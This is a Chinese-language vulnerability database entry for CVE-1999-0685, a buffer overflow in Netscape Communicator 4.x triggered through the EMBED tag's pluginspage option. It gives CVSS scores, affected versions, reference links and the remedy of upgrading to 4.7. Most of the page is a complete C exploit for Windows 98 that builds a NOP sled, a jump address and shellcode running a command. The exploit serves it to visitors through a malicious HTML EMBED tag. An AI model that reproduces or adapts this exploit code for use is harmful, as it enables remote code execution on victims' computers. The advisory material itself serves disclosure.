CVE-1999-0685
CVSS5.1
发布时间 :1999-09-02 00:00:00
修订时间 :2008-09-09 08:35:13
NMCOE    

[原文]Buffer overflow in Netscape Communicator via EMBED tags in the pluginspage option.


[CNNVD]Netscape Communicator EMBED缓冲区漏洞(CNNVD-199909-007)

        Netscape Communicator存在缓冲区溢出漏洞。可以通过pluginspage选项中的EMBED标签导致该漏洞。

- CVSS (基础分值)

CVSS分值: 5.1 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:netscape:communicator:4.06Netscape Communicator 4.06
cpe:/a:netscape:communicator:4.6Netscape Communicator 4.6
cpe:/a:netscape:communicator:4.51Netscape Communicator 4.51
cpe:/a:netscape:communicator:4.61Netscape Communicator 4.61
cpe:/a:netscape:communicator:4.5Netscape Communicator 4.5

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0685
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0685
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199909-007
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/618
(UNKNOWN)  BID  618

- 漏洞信息

Netscape Communicator EMBED缓冲区漏洞
中危 缓冲区溢出
1999-09-02 00:00:00 2005-05-02 00:00:00
远程※本地  
        Netscape Communicator存在缓冲区溢出漏洞。可以通过pluginspage选项中的EMBED标签导致该漏洞。

- 公告与补丁

        Testing of Netscape Communicator 4.7 indicates that it is not subject to this vulnerability.

- 漏洞信息 (19486)

Netscape Communicator 4.06/4.5/4.6/4.51/4.61 EMBED Buffer Overflow Vulnerability (EDBID:19486)
windows remote
1999-09-02 Verified
0 R00t Zer0
N/A [点击下载]
http://www.securityfocus.com/bid/618/infosource: 

In several versions of Netscape Communicator, there is an unchecked buffer in the code that handles EMBED tags. The buffer is in the 'plugins page' option. This vulnerability can be exploited by a malicious webpage. 

/************************************************************************/
/*Netscape communicator 4.06J - 4.6J, 4.61e Exploit for Windows98*/
/**/
/*written by R00t Zer0(defcon0@ugtop.com)*/
/**/
/*  DEF CON ZERO( http://www.ugtop.com/defcon0/index.htm)*/
/************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>

#defineSTACK_LEN( 2135 )
#defineEMBED_TYPE_LEN( 150 )
#defineXPT_HDL_OFFSET( 588 )
#defineJMPS_OFFSET( 6 )
#defineJMP_EBX_ADDR( 0xbff7a06b )
#defineINT01H_ADDR( 0xbff73d30 )
#defineNOP_CODE( 0x90 )
#defineJMPS_CODE( 0xeb )
#defineFUNCTION"msvcrt.dll.system.exit."
#defineCOMMAND"welcome.exe"
#defineCMDLENP( 65 )


int
main( void )
{
  u_char win98_exec_code[100] = {
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,
0xF7,0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06,
0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF8,0x43,0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50,
0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,0xFF,0x00 };
  
  u_charexploit_code[ STACK_LEN ];
  u_charembed_type[ EMBED_TYPE_LEN ];
  u_longip;
  intloop;
  
  srand( ( u_int )time( 0 ) );
  
  bzero( exploit_code, sizeof( exploit_code ) );
  for( loop = 0; loop < XPT_HDL_OFFSET; loop++ )
    exploit_code [loop ] = NOP_CODE;
  
  /* make exploit code */
  ip = JMP_EBX_ADDR;
  exploit_code[ XPT_HDL_OFFSET - 4 ] = JMPS_CODE;
  exploit_code[ XPT_HDL_OFFSET - 3 ] = JMPS_OFFSET;
  exploit_code[ XPT_HDL_OFFSET + 3 ] = ( char)( 0xff & ( ip >> 24 ) );
  exploit_code[ XPT_HDL_OFFSET + 2 ] = ( char)( 0xff & ( ip >> 16 ) );
  exploit_code[ XPT_HDL_OFFSET + 1 ] = ( char)( 0xff & ( ip >> 8  ) );
  exploit_code[ XPT_HDL_OFFSET + 0 ] = ( char)( 0xff & ( ip >> 0  ) );
  
  win98_exec_code[ CMDLENP ] = strlen( COMMAND );
  strcat( exploit_code, win98_exec_code );
  strcat( exploit_code, FUNCTION );
  strcat( exploit_code, COMMAND );
  
  
  /* set random type */
  for( loop = 0; loop < EMBED_TYPE_LEN; loop++ )
    embed_type[ loop ] = 0x23 + ( rand() % 93 );
  
  /* print html */
  printf( "Content-type: text/html\n\n" );
  printf( "<HTML>\n" );
  printf( "<HEAD>\n" );
  printf( "<TITLE>Netscape communicator 4.x Exploit!!</TITLE>\n" );
  printf( "</HEAD>\n" );
  printf( "<BODY>\n" );
  
  printf( "<EMBED SRC=\"FreeUNYUN!\" PLUGINSPAGE=\"%s\" ", exploit_code );
  printf( "TYPE=\"%s\" WIDTH=\"1500\" HEIGHT=\"1000\">\n", embed_type  );
  printf( "</EMBED>\n</BODY>\n</HTML>\n" );
  
  return( 0 );
}



		

- 漏洞信息

1063
Netscape Communicator pluginspage Option EMBED Tag Overflow
Context Dependent Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

1999-12-09 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 4.7 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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